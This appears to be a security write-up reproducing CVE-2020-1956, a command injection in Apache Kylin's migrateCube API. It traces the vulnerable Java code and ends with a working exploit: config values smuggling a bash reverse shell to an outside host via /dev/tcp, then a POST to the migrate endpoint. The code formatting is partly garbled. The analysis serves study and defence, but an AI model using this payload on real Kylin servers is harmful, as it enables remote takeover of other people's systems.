Post

Apache Kylin CubeService.java command injection vulnerability CVE-2020-1956

Apache Kylin CubeService.java command injection vulnerability CVE-2020-1956

Apache Kylin CubeService.java Command Injection Vulnerability CVE-2020-1956

Vulnerability Description

On May 22, 2020, CNVD informed that there was a command injection vulnerability in Apache Kylin CVE-2020-1956

Apache Kylin is an open source distributed analytical data warehouse of the Apache Software Foundation in the United States.

Affect Version

Apache Kylin 2.3.0 ~ 2.3.2 Apache Kylin 2.4.0 ~ 2.4.1 Apache Kylin 2.5.0 ~ 2.5.2 Apache Kylin 2.6.0 ~ 2.6.5 Apache Kylin 3.0.0-alpha</a-checkbox>

Environment construction

</a-alert>

1
2
3
4
5
6
7
8
9
10
11
docker pull apachekylin/apache-kylin-standalone:3.0.1

docker run -d \
-m 8G \
-p 7070:7070 \
-p 8088:8088 \
-p 50070:50070 \
-p 8032:8032 \
-p 8042:8042 \
-p 16010:16010 \
apachekylin/apache-kylin-standalone:3.0.1

After opening, log in with the default account password admin/KYLIN. The initial interface appears. Success

img

Vulnerability reappears

Check out this vulnerability patch

img

Here we can see that there are three parameters related to this vulnerability, namely srcCfgUri, dstCfgUri, and projectName. The related function is migrateCube

Description of migrateCube in official documentation

img

1
POST /kylin/api/cubes/{cube}/{project}/migrate

Download the source code of Apache Kylin 3.0.1 for code audit. The file with the vulnerable function is the following path

1
apache-kylin-3.0.1\server-base\src\main\java\org\apache\kylin\rest\service\CubeService.java

Find the migrateCube function

img

```java {1-2} @PreAuthorize(Constant.ACCESS_HAS_ROLE_ADMIN + “ or hasPermission(#cube, ‘ADMINISTRATION’) or hasPermission(#cube, ‘MANAGEMENT’)”) public void migrateCube(CubeInstance cube, String projectName) { KylinConfig config = cube.getConfig(); if (!config.isAllowAutoMigrateCube()) { throw new InternalErrorException(“One click migration is disabled, please contact your ADMIN”); }

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
    for (CubeSegment segment : cube.getSegments()) {
        if (segment.getStatus() != SegmentStatusEnum.READY) {
            throw new InternalErrorException(
                    "At least one segment is not in READY state. Please check whether there are Running or Error jobs.");
        }
    }

    String srcCfgUri = config.getAutoMigrateCubeSrcConfig();
    String dstCfgUri = config.getAutoMigrateCubeDestConfig();

    Preconditions.checkArgument(StringUtils.isNotEmpty(srcCfgUri), "Source configuration should not be empty.");
    Preconditions.checkArgument(StringUtils.isNotEmpty(dstCfgUri), "Destination configuration should not be empty.");

    String stringBuilderstringBuilder = ("%s/bin/kylin.sh org.apache.kylin.tool.CubeMigrationCLI %s %s %s %s %s %s true true");
    String cmd = String.format(Locale.ROOT, stringBuilder, KylinConfig.getKylinHome(), srcCfgUri, dstCfgUri,
            cube.getName(), projectName, config.isAutoMigrateCubeCopyAcl(), config.isAutoMigrateCubePurge());

    logger.info("One click migration cmd: " + cmd);

    CliCommandExecutor exec = new CliCommandExecutor();
    PatternedLogger patternedLogger = new PatternedLogger(logger);

    try {
        exec.execute(cmd, patternedLogger);
    } catch (IOException e) {
        throw new InternalErrorException("Failed to perform one-click migrating", e);
    }
} ```

The PreAuthorize defines routing permissions, ADMIN permission, ADMINISTRATION permission and MANAGEMENT permission can access the service.

1
2
@PreAuthorize(Constant.ACCESS_HAS_ROLE_ADMIN
            + " or hasPermission(#cube, 'ADMINISTRATION') or hasPermission(#cube, 'MANAGEMENT')")

1087 line determines whether the MigrateCube setting is enabled. If it is not enabled, an error will be reported.

img

Follow up on the function isAllowAutoMigrateCube()

img

You can see that the default configuration kylin.tool.auto-migrate-cube.enabled is Flase

```java {2} public boolean isAllowAutoMigrateCube() { return Boolean.parseBoolean(getOptional(“kylin.tool.auto-migrate-cube.enabled”, FALSE)); }

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
If the configuration `kylin.tool.auto-migrate-cube.enabled` is not enabled to be true, an error will be reported when calling `MigrateCube` is called.

![img](https://raw.githubusercontent.com/PeiQi0/PeiQi-WIKI-Book/refs/heads/main/docs/.vuepress/../.vuepress/public/img/image-20210629155426528.png)

`kylin.tool.auto-migrate-cube.enabled` is enabled for `True` via the `SYSTEM module of `Apache Kylin`

![img](https://raw.githubusercontent.com/PeiQi0/PeiQi-WIKI-Book/refs/heads/main/docs/.vuepress/../.vuepress/public/img/kylin-8.png)

![img](https://raw.githubusercontent.com/PeiQi0/PeiQi-WIKI-Book/refs/heads/main/docs/.vuepress/../.vuepress/public/img/kylin-9.png)

After setting it and requesting, there will be no error just reported, but `Source configuration should not be empty`

![img](https://raw.githubusercontent.com/PeiQi0/PeiQi-WIKI-Book/refs/heads/main/docs/.vuepress/../.vuepress/public/img/kylin-10.png)

Follow up on the code block that reports an error

```java {4-5}
String srcCfgUri = config.getAutoMigrateCubeSrcConfig();
        String dstCfgUri = config.getAutoMigrateCubeDestConfig();

        Preconditions.checkArgument(StringUtils.isNotEmpty(srcCfgUri), "Source configuration should not be empty.");
        Preconditions.checkArgument(StringUtils.isNotEmpty(dstCfgUri),
                "Destination configuration should not be empty.");

Here, the configurations of kylin.tool.auto-migrate-cube.src-config and kylin.tool.auto-migrate-cube.dest-config were detected. If it is empty, the error will be reported just now.

Follow up on the getAutoMigrateCubeSrcConfig() and getAutoMigrateCubeDestConfig() functions

img

```java {2} public String getAutoMigrateCubeSrcConfig() { return getOptional(“kylin.tool.auto-migrate-cube.src-config”, “”); }

1
2
3
4
public String getAutoMigrateCubeDestConfig() {

    return getOptional("kylin.tool.auto-migrate-cube.dest-config", "");
} ```

It is found that these two configurations are empty by default. Because the configuration allows customization, both srcCfgUri and dstCfgUri are both controllable. Continue to go down and find a command stitching

img

```java {1-4} String stringBuilder = (“%s/bin/kylin.sh org.apache.kylin.tool.CubeMigrationCLI %s %s %s %s %s %s true true”); String cmd = String.format(Locale.ROOT, stringBuilder, KylinConfig.getKylinHome(), srcCfgUri, dstCfgUri, cube.getName(), projectName, config.isAutoMigrateCubeCopyAcl(), config.isAutoMigrateCubePurge());

1
2
3
4
5
6
7
8
9
10
11
    logger.info("One click migration cmd: " + cmd);

    CliCommandExecutor exec = new CliCommandExecutor();
    PatternedLogger patternedLogger = new PatternedLogger(logger);

    try {
        exec.execute(cmd, patternedLogger);
    } catch (IOException e) {
        throw new InternalErrorException("Failed to perform one-click migrating", e);
    }
} ```

Enter the execute function

```java {17} private Pair<Integer, String> runRemoteCommand(String command, Logger logAppender) throws IOException { SSHClient ssh = new SSHClient(remoteHost, port, remoteUser, remotePwd);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
    SSHClientOutput sshOutput;
    try {
        sshOutput = ssh.execCommand(command, remoteTimeoutSeconds, logAppender);
        int exitCode = sshOutput.getExitCode();
        String output = sshOutput.getText();
        return Pair.newPair(exitCode, output);
    } catch (IOException e) {
        throw e;
    } catch (Exception e) {
        throw new IOException(e.getMessage(), e);
    }
}

private Pair<Integer, String> runNativeCommand(String command, Logger logAppender) throws IOException {
    String[] cmd = new String[3];
    String osName = System.getProperty("os.name");
    if (osName.startsWith("Windows")) {
        cmd[0] = "cmd.exe";
        cmd[1] = "/C";
    } else {
        cmd[0] = "/bin/bash";
        cmd[1] = "-c";
    }
    cmd[2] = command;

    ProcessBuilder builder = new ProcessBuilder(cmd);
    builder.redirectErrorStream(true);
    Process proc = builder.start();

    BufferedReader reader = new BufferedReader(
            new InputStreamReader(proc.getInputStream(), StandardCharsets.UTF_8));
    String line;
    StringBuilder result = new StringBuilder();
    while ((line = reader.readLine()) != null && !Thread.currentThread().isInterrupted()) {
        result.append(line).append('\n');
        if (logAppender != null) {
            logAppender.log(line);
        }
    }

    if (Thread.interrupted()) {
        logger.info("CliCommandExecutor is interruppted by other, kill the sub process: " + command);
        proc.destroy();
        try {
            Thread.sleep(1000);
        } catch (InterruptedException e) {
            // do nothing
        }
        return Pair.newPair(1, "Killed");
    }

    try {
        int exitCode = proc.waitFor();
        return Pair.newPair(exitCode, result.toString());
    } catch (InterruptedException e) {
        Thread.currentThread().interrupt();
        throw new IOException(e);
    }
}

}

1
2
3
From this we can find that we can execute any command we need through these two controllable parameters, such as bounce a shell, and set the configuration as

kylin.tool.auto-migrate-cube.enabled=true kylin.tool.auto-migrate-cube.src-config=echo;bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/9999 0>&1 kylin.tool.auto-migrate-cube.dest-config=shell ```

img

Send POST request again /kylin/api/cubes/kylin_sales_cube/learn_kylin/migrate

img

Successfully rebounded a shell

img

This post is licensed under CC BY 4.0 by the author.